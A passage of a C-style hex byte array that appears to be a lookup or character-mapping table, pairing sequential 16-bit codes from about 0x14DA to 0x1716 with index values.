0x0c, 0x12, +0x00, 0x14, 0xDA, 0x0d, 0x12, +0x00, 0x14, 0xDB, 0x0e, 0x12, +0x00, 0x14, 0xDC, 0x5a, 0x08, +0x00, 0x14, 0xDD, 0x0f, 0x12, +0x00, 0x14, 0xDE, 0x10, 0x12, +0x00, 0x14, 0xDF, 0x11, 0x12, +0x00, 0x14, 0xE0, 0x12, 0x12, +0x00, 0x14, 0xE1, 0x13, 0x12, +0x00, 0x14, 0xE2, 0x14, 0x12, +0x00, 0x14, 0xE3, 0x15, 0x12, +0x00, 0x14, 0xE4, 0x16, 0x12, +0x00, 0x14, 0xE5, 0x17, 0x12, +0x00, 0x14, 0xE6, 0x18, 0x12, +0x00, 0x14, 0xE7, 0x19, 0x12, +0x00, 0x14, 0xE8, 0xb9, 0x00, +0x00, 0x14, 0xE9, 0x1a, 0x12, +0x00, 0x14, 0xEA, 0x1b, 0x12, +0x00, 0x14, 0xEB, 0x1c, 0x12, +0x00, 0x14, 0xEC, 0x1d, 0x12, +0x00, 0x14, 0xED, 0x1e, 0x12, +0x00, 0x14, 0xEE, 0xb5, 0x00, +0x00, 0x14, 0xEF, 0x1f, 0x12, +0x00, 0x14, 0xF0, 0x20, 0x12, +0x00, 0x14, 0xF1, 0x05, 0x00, +0x00, 0x14, 0xF2, 0x05, 0x00, +0x00, 0x14, 0xF3, 0x21, 0x12, +0x00, 0x14, 0xF4, 0x22, 0x12, +0x00, 0x14, 0xF5, 0x23, 0x12, +0x00, 0x14, 0xF6, 0x08, 0x05, +0x00, 0x14, 0xF7, 0x24, 0x12, +0x00, 0x14, 0xF8, 0x8c, 0x01, +0x00, 0x14, 0xF9, 0x25, 0x12, +0x00, 0x14, 0xFA, 0x26, 0x12, +0x00, 0x14, 0xFB, 0x35, 0x06, +0x00, 0x14, 0xFC, 0x27, 0x12, +0x00, 0x14, 0xFD, 0x28, 0x12, +0x00, 0x14, 0xFE, 0x29, 0x12, +0x00, 0x14, 0xFF, 0x2a, 0x12, +0x00, 0x15, 0x00, 0x80, 0x10, +0x00, 0x15, 0x01, 0x2b, 0x12, +0x00, 0x15, 0x02, 0x2c, 0x12, +0x00, 0x15, 0x03, 0x2d, 0x12, +0x00, 0x15, 0x04, 0x2e, 0x12, +0x00, 0x15, 0x05, 0xe7, 0x0d, +0x00, 0x15, 0x06, 0x2f, 0x12, +0x00, 0x15, 0x07, 0x30, 0x12, +0x00, 0x15, 0x08, 0x31, 0x12, +0x00, 0x15, 0x09, 0x32, 0x12, +0x00, 0x15, 0x0A, 0x33, 0x12, +0x00, 0x15, 0x0B, 0x34, 0x12, +0x00, 0x15, 0x0C, 0xc3, 0x03, +0x00, 0x15, 0x0D, 0x35, 0x12, +0x00, 0x15, 0x0E, 0x36, 0x12, +0x00, 0x15, 0x0F, 0x37, 0x12, +0x00, 0x15, 0x10, 0x38, 0x12, +0x00, 0x15, 0x11, 0x39, 0x12, +0x00, 0x15, 0x12, 0x3a, 0x12, +0x00, 0x15, 0x13, 0x3b, 0x12, +0x00, 0x15, 0x14, 0x3c, 0x12, +0x00, 0x15, 0x15, 0x3d, 0x12, +0x00, 0x15, 0x16, 0x3e, 0x12, +0x00, 0x15, 0x17, 0x80, 0x10, +0x00, 0x15, 0x18, 0xe9, 0x01, +0x00, 0x15, 0x19, 0x3f, 0x12, +0x00, 0x15, 0x1A, 0x40, 0x12, +0x00, 0x15, 0x1B, 0x41, 0x12, +0x00, 0x15, 0x1C, 0x42, 0x12, +0x00, 0x15, 0x1D, 0x43, 0x12, +0x00, 0x15, 0x1E, 0x0b, 0x0f, +0x00, 0x15, 0x1F, 0x44, 0x12, +0x00, 0x15, 0x20, 0x45, 0x12, +0x00, 0x15, 0x21, 0x46, 0x12, +0x00, 0x15, 0x22, 0x47, 0x12, +0x00, 0x15, 0x23, 0x48, 0x12, +0x00, 0x15, 0x24, 0x49, 0x12, +0x00, 0x15, 0x25, 0x4a, 0x12, +0x00, 0x15, 0x26, 0x4b, 0x12, +0x00, 0x15, 0x27, 0x4c, 0x12, +0x00, 0x15, 0x28, 0x4d, 0x12, +0x00, 0x15, 0x29, 0x4e, 0x12, +0x00, 0x15, 0x2A, 0x4f, 0x12, +0x00, 0x15, 0x2B, 0x05, 0x00, +0x00, 0x15, 0x2C, 0x05, 0x00, +0x00, 0x15, 0x2D, 0x50, 0x12, +0x00, 0x15, 0x2E, 0x51, 0x12, +0x00, 0x15, 0x2F, 0xb9, 0x00, +0x00, 0x15, 0x30, 0x8f, 0x00, +0x00, 0x15, 0x31, 0x52, 0x12, +0x00, 0x15, 0x32, 0x53, 0x12, +0x00, 0x15, 0x33, 0x54, 0x12, +0x00, 0x15, 0x34, 0x55, 0x12, +0x00, 0x15, 0x35, 0x56, 0x12, +0x00, 0x15, 0x36, 0x57, 0x12, +0x00, 0x15, 0x37, 0x58, 0x12, +0x00, 0x15, 0x38, 0x59, 0x12, +0x00, 0x15, 0x39, 0x5a, 0x12, +0x00, 0x15, 0x3A, 0xe9, 0x01, +0x00, 0x15, 0x3B, 0x5b, 0x12, +0x00, 0x15, 0x3C, 0x5c, 0x12, +0x00, 0x15, 0x3D, 0x5d, 0x12, +0x00, 0x15, 0x3E, 0x5e, 0x12, +0x00, 0x15, 0x3F, 0x5f, 0x12, +0x00, 0x15, 0x40, 0x69, 0x01, +0x00, 0x15, 0x41, 0x60, 0x12, +0x00, 0x15, 0x42, 0xcb, 0x0d, +0x00, 0x15, 0x43, 0x61, 0x12, +0x00, 0x15, 0x44, 0x62, 0x12, +0x00, 0x15, 0x45, 0x63, 0x12, +0x00, 0x15, 0x46, 0x64, 0x12, +0x00, 0x15, 0x47, 0x65, 0x12, +0x00, 0x15, 0x48, 0x66, 0x12, +0x00, 0x15, 0x49, 0x67, 0x12, +0x00, 0x15, 0x4A, 0x68, 0x12, +0x00, 0x15, 0x4B, 0x69, 0x12, +0x00, 0x15, 0x4C, 0x6a, 0x12, +0x00, 0x15, 0x4D, 0x6b, 0x12, +0x00, 0x15, 0x4E, 0x6c, 0x12, +0x00, 0x15, 0x4F, 0x6d, 0x12, +0x00, 0x15, 0x50, 0x6e, 0x12, +0x00, 0x15, 0x51, 0x6f, 0x12, +0x00, 0x15, 0x52, 0x70, 0x12, +0x00, 0x15, 0x53, 0x71, 0x12, +0x00, 0x15, 0x54, 0x72, 0x12, +0x00, 0x15, 0x55, 0x73, 0x12, +0x00, 0x15, 0x56, 0xc4, 0x0c, +0x00, 0x15, 0x57, 0x3f, 0x00, +0x00, 0x15, 0x58, 0x54, 0x01, +0x00, 0x15, 0x59, 0x74, 0x12, +0x00, 0x15, 0x5A, 0x75, 0x12, +0x00, 0x15, 0x5B, 0x76, 0x12, +0x00, 0x15, 0x5C, 0x77, 0x12, +0x00, 0x15, 0x5D, 0xb4, 0x03, +0x00, 0x15, 0x5E, 0x78, 0x12, +0x00, 0x15, 0x5F, 0x79, 0x12, +0x00, 0x15, 0x60, 0xc9, 0x01, +0x00, 0x15, 0x61, 0x7a, 0x12, +0x00, 0x15, 0x62, 0x05, 0x00, +0x00, 0x15, 0x63, 0x05, 0x00, +0x00, 0x15, 0x64, 0x7b, 0x12, +0x00, 0x15, 0x65, 0x7c, 0x12, +0x00, 0x15, 0x66, 0x7d, 0x12, +0x00, 0x15, 0x67, 0x7e, 0x12, +0x00, 0x15, 0x68, 0x7f, 0x12, +0x00, 0x15, 0x69, 0x80, 0x12, +0x00, 0x15, 0x6A, 0x81, 0x12, +0x00, 0x15, 0x6B, 0x82, 0x12, +0x00, 0x15, 0x6C, 0x83, 0x12, +0x00, 0x15, 0x6D, 0x84, 0x12, +0x00, 0x15, 0x6E, 0x85, 0x12, +0x00, 0x15, 0x6F, 0x86, 0x12, +0x00, 0x15, 0x70, 0xa9, 0x04, +0x00, 0x15, 0x71, 0x87, 0x12, +0x00, 0x15, 0x72, 0x88, 0x12, +0x00, 0x15, 0x73, 0x89, 0x12, +0x00, 0x15, 0x74, 0x8a, 0x12, +0x00, 0x15, 0x75, 0x8b, 0x12, +0x00, 0x15, 0x76, 0x8c, 0x12, +0x00, 0x15, 0x77, 0xc0, 0x00, +0x00, 0x15, 0x78, 0x8d, 0x12, +0x00, 0x15, 0x79, 0x8e, 0x12, +0x00, 0x15, 0x7A, 0x8f, 0x12, +0x00, 0x15, 0x7B, 0x90, 0x12, +0x00, 0x15, 0x7C, 0x91, 0x12, +0x00, 0x15, 0x7D, 0x92, 0x12, +0x00, 0x15, 0x7E, 0x93, 0x12, +0x00, 0x15, 0x7F, 0x94, 0x12, +0x00, 0x15, 0x80, 0x95, 0x12, +0x00, 0x15, 0x81, 0x13, 0x0c, +0x00, 0x15, 0x82, 0x96, 0x12, +0x00, 0x15, 0x83, 0x97, 0x12, +0x00, 0x15, 0x84, 0x79, 0x05, +0x00, 0x15, 0x85, 0x98, 0x12, +0x00, 0x15, 0x86, 0x99, 0x12, +0x00, 0x15, 0x87, 0x9a, 0x12, +0x00, 0x15, 0x88, 0x9b, 0x12, +0x00, 0x15, 0x89, 0x9c, 0x12, +0x00, 0x15, 0x8A, 0x21, 0x02, +0x00, 0x15, 0x8B, 0x9d, 0x12, +0x00, 0x15, 0x8C, 0x9e, 0x12, +0x00, 0x15, 0x8D, 0x9f, 0x12, +0x00, 0x15, 0x8E, 0xa0, 0x12, +0x00, 0x15, 0x8F, 0xa1, 0x12, +0x00, 0x15, 0x90, 0xa2, 0x12, +0x00, 0x15, 0x91, 0xa3, 0x12, +0x00, 0x15, 0x92, 0xa4, 0x12, +0x00, 0x15, 0x93, 0xa5, 0x12, +0x00, 0x15, 0x94, 0xa6, 0x12, +0x00, 0x15, 0x95, 0xa7, 0x12, +0x00, 0x15, 0x96, 0xb9, 0x00, +0x00, 0x15, 0x97, 0xa8, 0x12, +0x00, 0x15, 0x98, 0xa9, 0x12, +0x00, 0x15, 0x99, 0x4f, 0x02, +0x00, 0x15, 0x9A, 0xb9, 0x00, +0x00, 0x15, 0x9B, 0x69, 0x01, +0x00, 0x15, 0x9C, 0xaa, 0x12, +0x00, 0x15, 0x9D, 0xdb, 0x05, +0x00, 0x15, 0x9E, 0xab, 0x12, +0x00, 0x15, 0x9F, 0xac, 0x12, +0x00, 0x15, 0xA0, 0xb9, 0x02, +0x00, 0x15, 0xA1, 0xad, 0x12, +0x00, 0x15, 0xA2, 0xb9, 0x00, +0x00, 0x15, 0xA3, 0xb9, 0x00, +0x00, 0x15, 0xA4, 0xb9, 0x00, +0x00, 0x15, 0xA5, 0x46, 0x00, +0x00, 0x15, 0xA6, 0xdf, 0x01, +0x00, 0x15, 0xA7, 0xae, 0x12, +0x00, 0x15, 0xA8, 0xb9, 0x00, +0x00, 0x15, 0xA9, 0xaf, 0x12, +0x00, 0x15, 0xAA, 0xb0, 0x12, +0x00, 0x15, 0xAB, 0xb1, 0x12, +0x00, 0x15, 0xAC, 0xb2, 0x12, +0x00, 0x15, 0xAD, 0xb3, 0x12, +0x00, 0x15, 0xAE, 0xb4, 0x12, +0x00, 0x15, 0xAF, 0xb5, 0x12, +0x00, 0x15, 0xB0, 0xb6, 0x12, +0x00, 0x15, 0xB1, 0xb7, 0x12, +0x00, 0x15, 0xB2, 0xf7, 0x01, +0x00, 0x15, 0xB3, 0xb8, 0x12, +0x00, 0x15, 0xB4, 0xb9, 0x12, +0x00, 0x15, 0xB5, 0xba, 0x12, +0x00, 0x15, 0xB6, 0xbb, 0x12, +0x00, 0x15, 0xB7, 0x32, 0x00, +0x00, 0x15, 0xB8, 0xbc, 0x12, +0x00, 0x15, 0xB9, 0x4f, 0x02, +0x00, 0x15, 0xBA, 0xbd, 0x12, +0x00, 0x15, 0xBB, 0xbe, 0x12, +0x00, 0x15, 0xBC, 0xbf, 0x12, +0x00, 0x15, 0xBD, 0xc0, 0x12, +0x00, 0x15, 0xBE, 0xc1, 0x12, +0x00, 0x15, 0xBF, 0xc2, 0x12, +0x00, 0x15, 0xC0, 0xc3, 0x12, +0x00, 0x15, 0xC1, 0xd3, 0x03, +0x00, 0x15, 0xC2, 0xc4, 0x12, +0x00, 0x15, 0xC3, 0xc5, 0x12, +0x00, 0x15, 0xC4, 0xc6, 0x12, +0x00, 0x15, 0xC5, 0xd1, 0x05, +0x00, 0x15, 0xC6, 0x05, 0x00, +0x00, 0x15, 0xC7, 0x05, 0x00, +0x00, 0x15, 0xC8, 0xc7, 0x12, +0x00, 0x15, 0xC9, 0xc8, 0x12, +0x00, 0x15, 0xCA, 0xc9, 0x12, +0x00, 0x15, 0xCB, 0x3c, 0x10, +0x00, 0x15, 0xCC, 0xca, 0x12, +0x00, 0x15, 0xCD, 0xcb, 0x12, +0x00, 0x15, 0xCE, 0xb9, 0x00, +0x00, 0x15, 0xCF, 0xb9, 0x00, +0x00, 0x15, 0xD0, 0xb9, 0x00, +0x00, 0x15, 0xD1, 0xb9, 0x00, +0x00, 0x15, 0xD2, 0xcc, 0x12, +0x00, 0x15, 0xD3, 0xcd, 0x12, +0x00, 0x15, 0xD4, 0xce, 0x12, +0x00, 0x15, 0xD5, 0xcf, 0x12, +0x00, 0x15, 0xD6, 0xd0, 0x12, +0x00, 0x15, 0xD7, 0xd1, 0x12, +0x00, 0x15, 0xD8, 0xd2, 0x12, +0x00, 0x15, 0xD9, 0xd3, 0x12, +0x00, 0x15, 0xDA, 0xd4, 0x12, +0x00, 0x15, 0xDB, 0xd5, 0x12, +0x00, 0x15, 0xDC, 0xd6, 0x12, +0x00, 0x15, 0xDD, 0xd7, 0x12, +0x00, 0x15, 0xDE, 0xb9, 0x02, +0x00, 0x15, 0xDF, 0xd8, 0x12, +0x00, 0x15, 0xE0, 0xce, 0x01, +0x00, 0x15, 0xE1, 0xd9, 0x12, +0x00, 0x15, 0xE2, 0xda, 0x12, +0x00, 0x15, 0xE3, 0xdb, 0x12, +0x00, 0x15, 0xE4, 0xdc, 0x12, +0x00, 0x15, 0xE5, 0xdd, 0x12, +0x00, 0x15, 0xE6, 0xde, 0x12, +0x00, 0x15, 0xE7, 0xdf, 0x12, +0x00, 0x15, 0xE8, 0x69, 0x01, +0x00, 0x15, 0xE9, 0xe8, 0x04, +0x00, 0x15, 0xEA, 0xe0, 0x12, +0x00, 0x15, 0xEB, 0xe1, 0x12, +0x00, 0x15, 0xEC, 0xe2, 0x12, +0x00, 0x15, 0xED, 0xe3, 0x12, +0x00, 0x15, 0xEE, 0xe4, 0x12, +0x00, 0x15, 0xEF, 0xe5, 0x12, +0x00, 0x15, 0xF0, 0xe6, 0x12, +0x00, 0x15, 0xF1, 0xe7, 0x12, +0x00, 0x15, 0xF2, 0x20, 0x0b, +0x00, 0x15, 0xF3, 0xe8, 0x12, +0x00, 0x15, 0xF4, 0xe9, 0x12, +0x00, 0x15, 0xF5, 0xea, 0x12, +0x00, 0x15, 0xF6, 0xeb, 0x12, +0x00, 0x15, 0xF7, 0xec, 0x12, +0x00, 0x15, 0xF8, 0xed, 0x12, +0x00, 0x15, 0xF9, 0x05, 0x00, +0x00, 0x15, 0xFA, 0x05, 0x00, +0x00, 0x15, 0xFB, 0xee, 0x12, +0x00, 0x15, 0xFC, 0xef, 0x12, +0x00, 0x15, 0xFD, 0xf0, 0x12, +0x00, 0x15, 0xFE, 0xf1, 0x12, +0x00, 0x15, 0xFF, 0xf2, 0x12, +0x00, 0x16, 0x00, 0xf3, 0x12, +0x00, 0x16, 0x01, 0xa2, 0x06, +0x00, 0x16, 0x02, 0xf4, 0x12, +0x00, 0x16, 0x03, 0xf5, 0x12, +0x00, 0x16, 0x04, 0xf6, 0x12, +0x00, 0x16, 0x05, 0xf7, 0x12, +0x00, 0x16, 0x06, 0xf8, 0x12, +0x00, 0x16, 0x07, 0xf9, 0x12, +0x00, 0x16, 0x08, 0xfa, 0x12, +0x00, 0x16, 0x09, 0xfb, 0x12, +0x00, 0x16, 0x0A, 0xfc, 0x12, +0x00, 0x16, 0x0B, 0xfd, 0x12, +0x00, 0x16, 0x0C, 0xfe, 0x12, +0x00, 0x16, 0x0D, 0xff, 0x12, +0x00, 0x16, 0x0E, 0x00, 0x13, +0x00, 0x16, 0x0F, 0x01, 0x13, +0x00, 0x16, 0x10, 0x02, 0x13, +0x00, 0x16, 0x11, 0x03, 0x13, +0x00, 0x16, 0x12, 0x04, 0x13, +0x00, 0x16, 0x13, 0x05, 0x13, +0x00, 0x16, 0x14, 0x06, 0x13, +0x00, 0x16, 0x15, 0x07, 0x13, +0x00, 0x16, 0x16, 0x08, 0x13, +0x00, 0x16, 0x17, 0x09, 0x13, +0x00, 0x16, 0x18, 0x0a, 0x13, +0x00, 0x16, 0x19, 0x0b, 0x13, +0x00, 0x16, 0x1A, 0x0c, 0x13, +0x00, 0x16, 0x1B, 0x21, 0x0f, +0x00, 0x16, 0x1C, 0x0d, 0x13, +0x00, 0x16, 0x1D, 0xd3, 0x01, +0x00, 0x16, 0x1E, 0x0e, 0x13, +0x00, 0x16, 0x1F, 0x0f, 0x13, +0x00, 0x16, 0x20, 0xbe, 0x09, +0x00, 0x16, 0x21, 0x70, 0x07, +0x00, 0x16, 0x22, 0x10, 0x13, +0x00, 0x16, 0x23, 0x11, 0x13, +0x00, 0x16, 0x24, 0x12, 0x13, +0x00, 0x16, 0x25, 0x13, 0x13, +0x00, 0x16, 0x26, 0xb9, 0x00, +0x00, 0x16, 0x27, 0xd0, 0x06, +0x00, 0x16, 0x28, 0x14, 0x13, +0x00, 0x16, 0x29, 0x15, 0x13, +0x00, 0x16, 0x2A, 0x16, 0x13, +0x00, 0x16, 0x2B, 0x17, 0x13, +0x00, 0x16, 0x2C, 0x18, 0x13, +0x00, 0x16, 0x2D, 0x19, 0x13, +0x00, 0x16, 0x2E, 0x1a, 0x13, +0x00, 0x16, 0x2F, 0x1b, 0x13, +0x00, 0x16, 0x30, 0x1c, 0x13, +0x00, 0x16, 0x31, 0x1d, 0x13, +0x00, 0x16, 0x32, 0x4f, 0x02, +0x00, 0x16, 0x33, 0x1e, 0x13, +0x00, 0x16, 0x34, 0x1f, 0x13, +0x00, 0x16, 0x35, 0xc9, 0x01, +0x00, 0x16, 0x36, 0x20, 0x13, +0x00, 0x16, 0x37, 0x2b, 0x0e, +0x00, 0x16, 0x38, 0x84, 0x03, +0x00, 0x16, 0x39, 0x21, 0x13, +0x00, 0x16, 0x3A, 0x22, 0x13, +0x00, 0x16, 0x3B, 0x25, 0x0a, +0x00, 0x16, 0x3C, 0x23, 0x13, +0x00, 0x16, 0x3D, 0x3a, 0x04, +0x00, 0x16, 0x3E, 0x24, 0x13, +0x00, 0x16, 0x3F, 0x25, 0x13, +0x00, 0x16, 0x40, 0x26, 0x13, +0x00, 0x16, 0x41, 0x0a, 0x01, +0x00, 0x16, 0x42, 0x27, 0x13, +0x00, 0x16, 0x43, 0x28, 0x13, +0x00, 0x16, 0x44, 0x29, 0x13, +0x00, 0x16, 0x45, 0x2a, 0x13, +0x00, 0x16, 0x46, 0x05, 0x00, +0x00, 0x16, 0x47, 0x05, 0x00, +0x00, 0x16, 0x48, 0x2b, 0x13, +0x00, 0x16, 0x49, 0x2c, 0x13, +0x00, 0x16, 0x4A, 0x7c, 0x08, +0x00, 0x16, 0x4B, 0x2d, 0x13, +0x00, 0x16, 0x4C, 0x2e, 0x13, +0x00, 0x16, 0x4D, 0xd1, 0x06, +0x00, 0x16, 0x4E, 0xb9, 0x02, +0x00, 0x16, 0x4F, 0x2f, 0x13, +0x00, 0x16, 0x50, 0x30, 0x13, +0x00, 0x16, 0x51, 0x31, 0x13, +0x00, 0x16, 0x52, 0x32, 0x13, +0x00, 0x16, 0x53, 0x33, 0x13, +0x00, 0x16, 0x54, 0x34, 0x13, +0x00, 0x16, 0x55, 0x35, 0x13, +0x00, 0x16, 0x56, 0xc5, 0x08, +0x00, 0x16, 0x57, 0x36, 0x13, +0x00, 0x16, 0x58, 0x37, 0x13, +0x00, 0x16, 0x59, 0x38, 0x13, +0x00, 0x16, 0x5A, 0x39, 0x13, +0x00, 0x16, 0x5B, 0x3a, 0x13, +0x00, 0x16, 0x5C, 0x3b, 0x13, +0x00, 0x16, 0x5D, 0x3c, 0x13, +0x00, 0x16, 0x5E, 0x99, 0x01, +0x00, 0x16, 0x5F, 0x3d, 0x13, +0x00, 0x16, 0x60, 0x69, 0x01, +0x00, 0x16, 0x61, 0x3e, 0x13, +0x00, 0x16, 0x62, 0x3f, 0x13, +0x00, 0x16, 0x63, 0x40, 0x13, +0x00, 0x16, 0x64, 0x41, 0x13, +0x00, 0x16, 0x65, 0x42, 0x13, +0x00, 0x16, 0x66, 0x43, 0x13, +0x00, 0x16, 0x67, 0x44, 0x13, +0x00, 0x16, 0x68, 0x45, 0x13, +0x00, 0x16, 0x69, 0xef, 0x0d, +0x00, 0x16, 0x6A, 0x46, 0x13, +0x00, 0x16, 0x6B, 0x4f, 0x02, +0x00, 0x16, 0x6C, 0x4f, 0x02, +0x00, 0x16, 0x6D, 0x47, 0x13, +0x00, 0x16, 0x6E, 0x48, 0x13, +0x00, 0x16, 0x6F, 0x80, 0x10, +0x00, 0x16, 0x70, 0x49, 0x13, +0x00, 0x16, 0x71, 0x4a, 0x13, +0x00, 0x16, 0x72, 0x4b, 0x13, +0x00, 0x16, 0x73, 0x4c, 0x13, +0x00, 0x16, 0x74, 0x4d, 0x13, +0x00, 0x16, 0x75, 0xb9, 0x00, +0x00, 0x16, 0x76, 0x80, 0x10, +0x00, 0x16, 0x77, 0x4e, 0x13, +0x00, 0x16, 0x78, 0xe9, 0x01, +0x00, 0x16, 0x79, 0x4f, 0x13, +0x00, 0x16, 0x7A, 0x50, 0x13, +0x00, 0x16, 0x7B, 0x51, 0x13, +0x00, 0x16, 0x7C, 0x52, 0x13, +0x00, 0x16, 0x7D, 0x53, 0x13, +0x00, 0x16, 0x7E, 0x54, 0x13, +0x00, 0x16, 0x7F, 0x55, 0x13, +0x00, 0x16, 0x80, 0x56, 0x13, +0x00, 0x16, 0x81, 0x90, 0x02, +0x00, 0x16, 0x82, 0x57, 0x13, +0x00, 0x16, 0x83, 0x58, 0x13, +0x00, 0x16, 0x84, 0x59, 0x13, +0x00, 0x16, 0x85, 0x5a, 0x13, +0x00, 0x16, 0x86, 0x5b, 0x13, +0x00, 0x16, 0x87, 0x5c, 0x13, +0x00, 0x16, 0x88, 0x5d, 0x13, +0x00, 0x16, 0x89, 0x5e, 0x13, +0x00, 0x16, 0x8A, 0x5f, 0x13, +0x00, 0x16, 0x8B, 0x60, 0x13, +0x00, 0x16, 0x8C, 0x61, 0x13, +0x00, 0x16, 0x8D, 0x62, 0x13, +0x00, 0x16, 0x8E, 0x63, 0x13, +0x00, 0x16, 0x8F, 0xfd, 0x06, +0x00, 0x16, 0x90, 0x64, 0x13, +0x00, 0x16, 0x91, 0x65, 0x13, +0x00, 0x16, 0x92, 0x8c, 0x01, +0x00, 0x16, 0x93, 0x66, 0x13, +0x00, 0x16, 0x94, 0x67, 0x13, +0x00, 0x16, 0x95, 0x68, 0x13, +0x00, 0x16, 0x96, 0x69, 0x13, +0x00, 0x16, 0x97, 0x45, 0x00, +0x00, 0x16, 0x98, 0x6a, 0x13, +0x00, 0x16, 0x99, 0x6b, 0x13, +0x00, 0x16, 0x9A, 0x6c, 0x13, +0x00, 0x16, 0x9B, 0x6d, 0x13, +0x00, 0x16, 0x9C, 0x05, 0x00, +0x00, 0x16, 0x9D, 0x05, 0x00, +0x00, 0x16, 0x9E, 0x6e, 0x13, +0x00, 0x16, 0x9F, 0x6f, 0x13, +0x00, 0x16, 0xA0, 0x70, 0x13, +0x00, 0x16, 0xA1, 0x71, 0x13, +0x00, 0x16, 0xA2, 0x72, 0x13, +0x00, 0x16, 0xA3, 0x73, 0x13, +0x00, 0x16, 0xA4, 0x74, 0x13, +0x00, 0x16, 0xA5, 0x97, 0x0f, +0x00, 0x16, 0xA6, 0x75, 0x13, +0x00, 0x16, 0xA7, 0x76, 0x13, +0x00, 0x16, 0xA8, 0x77, 0x13, +0x00, 0x16, 0xA9, 0x78, 0x13, +0x00, 0x16, 0xAA, 0x79, 0x13, +0x00, 0x16, 0xAB, 0x7a, 0x13, +0x00, 0x16, 0xAC, 0x7b, 0x13, +0x00, 0x16, 0xAD, 0x7c, 0x13, +0x00, 0x16, 0xAE, 0x9c, 0x06, +0x00, 0x16, 0xAF, 0xe9, 0x01, +0x00, 0x16, 0xB0, 0x7d, 0x13, +0x00, 0x16, 0xB1, 0x7e, 0x13, +0x00, 0x16, 0xB2, 0x7f, 0x13, +0x00, 0x16, 0xB3, 0x80, 0x13, +0x00, 0x16, 0xB4, 0x65, 0x00, +0x00, 0x16, 0xB5, 0xb9, 0x00, +0x00, 0x16, 0xB6, 0xf9, 0x0a, +0x00, 0x16, 0xB7, 0x81, 0x13, +0x00, 0x16, 0xB8, 0xbe, 0x09, +0x00, 0x16, 0xB9, 0x82, 0x13, +0x00, 0x16, 0xBA, 0x83, 0x13, +0x00, 0x16, 0xBB, 0x84, 0x13, +0x00, 0x16, 0xBC, 0xb9, 0x02, +0x00, 0x16, 0xBD, 0x85, 0x13, +0x00, 0x16, 0xBE, 0x86, 0x13, +0x00, 0x16, 0xBF, 0x87, 0x13, +0x00, 0x16, 0xC0, 0x88, 0x13, +0x00, 0x16, 0xC1, 0x89, 0x13, +0x00, 0x16, 0xC2, 0x12, 0x0b, +0x00, 0x16, 0xC3, 0x8a, 0x13, +0x00, 0x16, 0xC4, 0x8b, 0x13, +0x00, 0x16, 0xC5, 0xe9, 0x01, +0x00, 0x16, 0xC6, 0x8c, 0x13, +0x00, 0x16, 0xC7, 0x05, 0x00, +0x00, 0x16, 0xC8, 0x05, 0x00, +0x00, 0x16, 0xC9, 0x8d, 0x13, +0x00, 0x16, 0xCA, 0x69, 0x01, +0x00, 0x16, 0xCB, 0x51, 0x03, +0x00, 0x16, 0xCC, 0x8e, 0x13, +0x00, 0x16, 0xCD, 0x8f, 0x13, +0x00, 0x16, 0xCE, 0xe3, 0x11, +0x00, 0x16, 0xCF, 0xe3, 0x11, +0x00, 0x16, 0xD0, 0x90, 0x13, +0x00, 0x16, 0xD1, 0x91, 0x13, +0x00, 0x16, 0xD2, 0x92, 0x13, +0x00, 0x16, 0xD3, 0xc9, 0x09, +0x00, 0x16, 0xD4, 0x93, 0x13, +0x00, 0x16, 0xD5, 0x94, 0x13, +0x00, 0x16, 0xD6, 0x95, 0x13, +0x00, 0x16, 0xD7, 0x96, 0x13, +0x00, 0x16, 0xD8, 0x97, 0x13, +0x00, 0x16, 0xD9, 0x98, 0x13, +0x00, 0x16, 0xDA, 0x99, 0x13, +0x00, 0x16, 0xDB, 0x4f, 0x02, +0x00, 0x16, 0xDC, 0x9a, 0x13, +0x00, 0x16, 0xDD, 0x9b, 0x13, +0x00, 0x16, 0xDE, 0xc4, 0x01, +0x00, 0x16, 0xDF, 0x9c, 0x13, +0x00, 0x16, 0xE0, 0xf2, 0x00, +0x00, 0x16, 0xE1, 0x9d, 0x13, +0x00, 0x16, 0xE2, 0x36, 0x06, +0x00, 0x16, 0xE3, 0xb7, 0x0f, +0x00, 0x16, 0xE4, 0xf0, 0x07, +0x00, 0x16, 0xE5, 0x9e, 0x13, +0x00, 0x16, 0xE6, 0xf4, 0x0b, +0x00, 0x16, 0xE7, 0x9f, 0x13, +0x00, 0x16, 0xE8, 0xa0, 0x13, +0x00, 0x16, 0xE9, 0xa1, 0x13, +0x00, 0x16, 0xEA, 0x80, 0x10, +0x00, 0x16, 0xEB, 0x80, 0x10, +0x00, 0x16, 0xEC, 0xee, 0x06, +0x00, 0x16, 0xED, 0xc2, 0x08, +0x00, 0x16, 0xEE, 0xa2, 0x13, +0x00, 0x16, 0xEF, 0xa3, 0x13, +0x00, 0x16, 0xF0, 0xd1, 0x05, +0x00, 0x16, 0xF1, 0xa4, 0x13, +0x00, 0x16, 0xF2, 0xa5, 0x13, +0x00, 0x16, 0xF3, 0xa6, 0x13, +0x00, 0x16, 0xF4, 0xa7, 0x13, +0x00, 0x16, 0xF5, 0xa8, 0x13, +0x00, 0x16, 0xF6, 0xa9, 0x13, +0x00, 0x16, 0xF7, 0x70, 0x02, +0x00, 0x16, 0xF8, 0xaa, 0x13, +0x00, 0x16, 0xF9, 0xab, 0x13, +0x00, 0x16, 0xFA, 0xee, 0x01, +0x00, 0x16, 0xFB, 0xe9, 0x01, +0x00, 0x16, 0xFC, 0xac, 0x13, +0x00, 0x16, 0xFD, 0xad, 0x13, +0x00, 0x16, 0xFE, 0x93, 0x02, +0x00, 0x16, 0xFF, 0xae, 0x13, +0x00, 0x17, 0x00, 0xb9, 0x00, +0x00, 0x17, 0x01, 0xaf, 0x13, +0x00, 0x17, 0x02, 0xb0, 0x13, +0x00, 0x17, 0x03, 0xb1, 0x13, +0x00, 0x17, 0x04, 0xb2, 0x13, +0x00, 0x17, 0x05, 0xb3, 0x13, +0x00, 0x17, 0x06, 0xb4, 0x13, +0x00, 0x17, 0x07, 0xb5, 0x13, +0x00, 0x17, 0x08, 0xc9, 0x01, +0x00, 0x17, 0x09, 0xb6, 0x13, +0x00, 0x17, 0x0A, 0xb7, 0x13, +0x00, 0x17, 0x0B, 0xb8, 0x13, +0x00, 0x17, 0x0C, 0xb9, 0x13, +0x00, 0x17, 0x0D, 0xba, 0x13, +0x00, 0x17, 0x0E, 0x05, 0x00, +0x00, 0x17, 0x0F, 0x05, 0x00, +0x00, 0x17, 0x10, 0xbb, 0x13, +0x00, 0x17, 0x11, 0xbc, 0x13, +0x00, 0x17, 0x12, 0xbd, 0x13, +0x00, 0x17, 0x13, 0xbe, 0x13, +0x00, 0x17, 0x14, 0xbf, 0x13, +0x00, 0x17, 0x15, 0xc0, 0x13, +0x00, 0x17, 0x16, 